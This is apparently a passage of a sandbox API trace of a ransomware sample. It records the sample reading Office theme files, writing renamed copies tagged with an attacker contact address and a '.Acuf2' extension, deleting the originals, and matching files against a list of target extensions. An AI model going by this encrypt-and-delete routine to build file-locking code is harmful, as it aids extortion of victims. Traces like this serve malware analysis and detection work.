	[0051.120] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0051.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0051.680] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=19485) returned 1
	[0051.688] CloseHandle (hObject=0x1e8) returned 1
	[0051.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20
	[0051.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.704] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.704] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0051.704] GetLastError () returned 0x0
	[0051.704] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x4c1d, lpOverlapped=0x0) returned 1
	[0051.709] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x4c20, lpOverlapped=0x0) returned 1
	[0051.710] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.710] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.710] SetEndOfFile (hFile=0x1a4) returned 1
	[0051.710] CloseHandle (hObject=0x1a4) returned 1
	[0051.711] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.711] SetEndOfFile (hFile=0x208) returned 1
	[0051.711] CloseHandle (hObject=0x208) returned 1
	[0051.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.712] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1
	[0051.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.712] lstrlenW (lpString=".doc") returned 4
	[0051.712] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.712] lstrlenW (lpString=".docx") returned 5
	[0051.712] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.712] lstrlenW (lpString=".pdf") returned 4
	[0051.712] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.712] lstrlenW (lpString=".xls") returned 4
	[0051.712] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.712] lstrlenW (lpString=".xlsx") returned 5
	[0051.712] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.712] lstrlenW (lpString=".ppt") returned 4
	[0051.713] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.713] lstrlenW (lpString=".zip") returned 4
	[0051.713] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.713] lstrlenW (lpString=".rar") returned 4
	[0051.713] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.713] lstrlenW (lpString=".bz2") returned 4
	[0051.713] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.713] lstrlenW (lpString=".7z") returned 3
	[0051.713] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.713] lstrlenW (lpString=".dbf") returned 4
	[0051.713] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.713] lstrlenW (lpString=".1cd") returned 4
	[0051.713] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.713] lstrlenW (lpString=".jpg") returned 4
	[0051.713] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.713] lstrlenW (lpString=".doc") returned 4
	[0051.713] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.713] lstrlenW (lpString=".docx") returned 5
	[0051.713] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.713] lstrlenW (lpString=".pdf") returned 4
	[0051.713] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.713] lstrlenW (lpString=".xls") returned 4
	[0051.713] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.713] lstrlenW (lpString=".xlsx") returned 5
	[0051.714] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.714] lstrlenW (lpString=".ppt") returned 4
	[0051.714] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.714] lstrlenW (lpString=".zip") returned 4
	[0051.714] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.714] lstrlenW (lpString=".rar") returned 4
	[0051.714] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.714] lstrlenW (lpString=".bz2") returned 4
	[0051.714] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.714] lstrlenW (lpString=".7z") returned 3
	[0051.714] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.714] lstrlenW (lpString=".dbf") returned 4
	[0051.714] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.714] lstrlenW (lpString=".1cd") returned 4
	[0051.714] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0051.714] lstrlenW (lpString=".jpg") returned 4
	[0051.714] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.714] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.714] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.715] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1593) returned 1
	[0051.715] CloseHandle (hObject=0x208) returned 1
	[0051.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20
	[0051.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.715] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.715] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0051.717] GetLastError () returned 0x0
	[0051.717] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x639, lpOverlapped=0x0) returned 1
	[0051.718] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x640, lpOverlapped=0x0) returned 1
	[0051.719] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.719] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.719] SetEndOfFile (hFile=0x1a4) returned 1
	[0051.720] CloseHandle (hObject=0x1a4) returned 1
	[0051.720] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.720] SetEndOfFile (hFile=0x208) returned 1
	[0051.721] CloseHandle (hObject=0x208) returned 1
	[0051.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.721] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1
	[0051.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.721] lstrlenW (lpString=".doc") returned 4
	[0051.721] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.721] lstrlenW (lpString=".docx") returned 5
	[0051.721] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.721] lstrlenW (lpString=".pdf") returned 4
	[0051.721] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.721] lstrlenW (lpString=".xls") returned 4
	[0051.721] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.721] lstrlenW (lpString=".xlsx") returned 5
	[0051.721] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.721] lstrlenW (lpString=".ppt") returned 4
	[0051.722] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.722] lstrlenW (lpString=".zip") returned 4
	[0051.722] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.722] lstrlenW (lpString=".rar") returned 4
	[0051.722] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.722] lstrlenW (lpString=".bz2") returned 4
	[0051.722] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.722] lstrlenW (lpString=".7z") returned 3
	[0051.722] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.722] lstrlenW (lpString=".dbf") returned 4
	[0051.722] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.722] lstrlenW (lpString=".1cd") returned 4
	[0051.722] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.722] lstrlenW (lpString=".jpg") returned 4
	[0051.722] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.722] lstrlenW (lpString=".doc") returned 4
	[0051.722] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.722] lstrlenW (lpString=".docx") returned 5
	[0051.722] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.722] lstrlenW (lpString=".pdf") returned 4
	[0051.722] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.722] lstrlenW (lpString=".xls") returned 4
	[0051.722] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.723] lstrlenW (lpString=".xlsx") returned 5
	[0051.723] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.723] lstrlenW (lpString=".ppt") returned 4
	[0051.723] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.723] lstrlenW (lpString=".zip") returned 4
	[0051.723] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.723] lstrlenW (lpString=".rar") returned 4
	[0051.723] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.723] lstrlenW (lpString=".bz2") returned 4
	[0051.723] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.723] lstrlenW (lpString=".7z") returned 3
	[0051.723] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.723] lstrlenW (lpString=".dbf") returned 4
	[0051.723] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.723] lstrlenW (lpString=".1cd") returned 4
	[0051.723] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73
	[0051.723] lstrlenW (lpString=".jpg") returned 4
	[0051.723] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.723] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0051.723] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0051.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.724] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=21745) returned 1
	[0051.724] CloseHandle (hObject=0x208) returned 1
	[0051.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20
	[0051.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.725] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.725] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0051.725] GetLastError () returned 0x0
	[0051.725] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x54f1, lpOverlapped=0x0) returned 1
	[0051.727] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x5500, lpOverlapped=0x0) returned 1
	[0051.728] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.728] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.728] SetEndOfFile (hFile=0x1a4) returned 1
	[0051.728] CloseHandle (hObject=0x1a4) returned 1
	[0051.728] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.729] SetEndOfFile (hFile=0x208) returned 1
	[0051.729] CloseHandle (hObject=0x208) returned 1
	[0051.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.730] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1
	[0051.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.730] lstrlenW (lpString=".doc") returned 4
	[0051.730] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.730] lstrlenW (lpString=".docx") returned 5
	[0051.730] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.730] lstrlenW (lpString=".pdf") returned 4
	[0051.730] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.730] lstrlenW (lpString=".xls") returned 4
	[0051.730] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.730] lstrlenW (lpString=".xlsx") returned 5
	[0051.730] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.730] lstrlenW (lpString=".ppt") returned 4
	[0051.730] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.730] lstrlenW (lpString=".zip") returned 4
	[0051.730] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.730] lstrlenW (lpString=".rar") returned 4
	[0051.731] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.731] lstrlenW (lpString=".bz2") returned 4
	[0051.731] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.731] lstrlenW (lpString=".7z") returned 3
	[0051.731] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.731] lstrlenW (lpString=".dbf") returned 4
	[0051.731] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.731] lstrlenW (lpString=".1cd") returned 4
	[0051.731] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.731] lstrlenW (lpString=".jpg") returned 4
	[0051.731] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.731] lstrlenW (lpString=".doc") returned 4
	[0051.731] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.731] lstrlenW (lpString=".docx") returned 5
	[0051.731] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.731] lstrlenW (lpString=".pdf") returned 4
	[0051.731] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.731] lstrlenW (lpString=".xls") returned 4
	[0051.731] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.731] lstrlenW (lpString=".xlsx") returned 5
	[0051.731] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.731] lstrlenW (lpString=".ppt") returned 4
	[0051.731] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.731] lstrlenW (lpString=".zip") returned 4
	[0051.732] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.732] lstrlenW (lpString=".rar") returned 4
	[0051.732] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.732] lstrlenW (lpString=".bz2") returned 4
	[0051.732] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.732] lstrlenW (lpString=".7z") returned 3
	[0051.732] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.732] lstrlenW (lpString=".dbf") returned 4
	[0051.732] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
